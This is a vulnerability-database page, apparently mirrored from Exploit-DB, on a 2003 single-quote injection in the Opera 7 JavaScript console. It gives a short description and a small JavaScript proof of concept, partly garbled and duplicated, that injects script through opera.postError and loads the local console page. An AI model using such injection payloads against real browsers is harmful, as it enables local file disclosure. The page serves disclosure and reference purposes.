Opera 7.0/7.10 - JavaScript Console Single Quote Attribute Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053857 漏洞类型
发布时间 2003-04-28 更新时间 2003-04-28
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22546
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7449/info

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

ar message = "http://');alert(location.href+'";
opera.postError( message );
location.href = "file://localhost/console.html";

var message = "http://');alert(location.href+'";
opera.postError( message );

Additional exploit examples can be found in the attached Bugtraq reference.
location.href = "file://localhost/console.html";